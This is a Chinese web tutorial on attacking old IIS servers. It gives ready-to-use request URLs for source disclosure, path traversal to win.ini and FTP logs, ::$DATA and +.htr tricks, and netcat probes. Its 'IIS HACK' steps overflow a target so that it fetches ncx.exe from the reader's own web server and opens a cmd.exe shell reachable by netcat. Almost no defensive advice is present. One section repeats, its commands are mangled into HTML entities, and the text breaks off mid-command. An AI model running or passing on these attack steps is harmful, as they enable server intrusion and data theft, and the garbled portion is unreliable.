快捷搜索:   nginx

IIS常见漏洞攻防实战

  IIS服务器 (IIS) 是一个包含在Microsoft Windows NT服务器操作系统中的Internet文件Microsoft Internet 信息和应用程序服务器。IIS可以作为一个Web 服务器单独使用,也可以与相兼容的工具一起使用,它可以用来建立Internet商务、访问和操作来自不同数据源的数据以及创建Web 应用程序,其中这些应用程序利用服务器脚本和组件代码来完成一些客户服务器功能。

  IInS与Widows NT服务器紧密在地结合一起,它可以保证网络管理员和应用程序开发人员获得同Windows NT 服务器一样的安全、网络和管理功能。在使用熟悉的Windows NT 服务器工具和功能外,IIS还有一些自带的功能,可以帮助管理安全的Web 站点、开发及配置服务器密集型的Web 应用程序。

  10.1 IIS常见漏洞一览

  这里介绍的方法主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的。如果想方便一些,下载一些扫描器来辅助检查。

  如果要知道目标机器运行的是何种服务程序,你可以使用以下命令:

  telnet 《目标机》 80

  GET HEAD / HTTP/1.0

  就可以返回一些域名和Web服务程序版本,如果有些服务器把Web服务运行在8080,81,8000,8001口,你就Telnet相应的口上。

  常见漏洞

  1.Null.htw

  IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码,global.asa里面包含了用户账户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个“hit-highlighting”功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:

  CiWebhitsfile

  CiRestriction

  CiHiliteType

  2.MDAC- 执行本地命令漏洞

  这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS Web服务器存在这个漏洞,就像在今天,还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是System用户。我们可以通过以下办法测试本机是否存在这个漏洞:

  c:\》nc -nw -w 2 《目标机》 80

  GET /msadc/msadcs.dll HTTP

  如果你得到下面的信息:

  application/x_varg

  就很有可能存在此漏洞且没有打上补丁。

  3.idc & .ida Bugs

  这个漏洞实际上类似ASP Dot 漏洞,其能在IIS4.0上显示其Web目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加.idc或者.ida后缀到URL会导致IIS尝试允许通过数据库连接程序.dll来运行.idc,如果此.idc不存在,它就返回一些信息给客户端。

  http://www.目标机.com/anything.idc 或者 anything.idq

  4.+.htr Bug

  这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:

  http://www.目标机.com/global.asa+.htr

  5.NT Site Server Adsamples 漏洞

  通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:

  http://www.目标机.com/adsamples/config/site.csc

  6.IIS HACK

  有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载Netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,另外你还需要一台自己的Web服务器,也可以是虚拟服务器哦。你现在你自己的Web服务器上运行Web服务程序并把ncx.exe放到你自己相应的目录下,然后使用Iishack.exe来检查目标机器:

  c:\》iishack.exe目标机80你的Web服务器/ncx.exe

  然后你就使用Netcat来连接你要检测的服务器:

  c:\》nc目标机80

  如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:

  (1)Codebrws.asp 和 Showcode.asp默认情况下不安装。

  (2)漏洞仅允许查看文件内容。

  (3)这个漏洞不能绕过Windows NT的ACL控制列表的限制。

  (4)只允许同一分区下的文件可以被查看(所以把IIS目录和WinNT分区安装是个不错的方案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞)。

  (5)攻击者需要知道请求的文件名。

  例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:

  http://www.目标机.com/iisamples/exair/howitworks/codebrws.asp source=/iisamples/exair/howitworks/codebrws.asp

  你就可以查看到codebrws.asp的源代码了。

  你也可以使用showcode.asp来查看文件:

  http://www.目标机.com/msadc/samples/selector/showcode.asp source=/msadc/../../../../../winnt/win.ini

  当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他的机器的安全性比Web服务器差,如:

  http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp

  source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log

  7.webhits.dll & .htw

  这个Hit-highligting功能是由Index Server提供的允许一个Web用户在文档上highlighted(突出)其原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

  http://www.目标机.com/nosuchfile.htw

  如果你从服务器端获得如下信息:

  format of the QUERY_STRING is invalid

  这就表示你存在这个漏洞。

  8.ASP Alternate Data Streams(::$DATA)

  $DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示了文件代码中这些Data Stream(数据流)和任何文件所包含的数据代码。

  其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了“安全”好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁,要查看一些.asp文件的内容,你可以请求如下的URL:

  http://www.目标机.com/default.asp::$DATA 你就得到了源代码。

  9.ISM.DLL 缓冲截断漏洞

  这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者%20(这些表示空格)并追加.htr的特殊请求给IIS,会使IIS认为客户端请求的是.htr文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意,除非 Web 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效。它只能在 ISM.DLL 第一次装入内存时工作。

  http://www.目标机.com/global.asa%20%20(...《=230》global.asa.htr

  10.2 IIS的攻击手段和防范技巧

  1.IIS HACK

  一个IIS4.0的缓冲溢出可以允许用户上载程序,如Netcat到目标服务器,并把cmd.exe绑定到80口。这个缓冲溢出主要存在于.htr、.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。

  要检测这样的站点你需要两个文件iishack.exe,ncx.exe,另外你还需要一台自己的Web服务器,当然你可以是虚拟服务器。

  你现在你自己的Web服务器上运行Web服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器: c:\$#@62;iishack.exe $#@60;victim$#@62; 80 $#@60;your web server$#@62;/ncx.exe 然后你就使用netcat来连接你要检测的服务器: c:\$#@62;nc

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论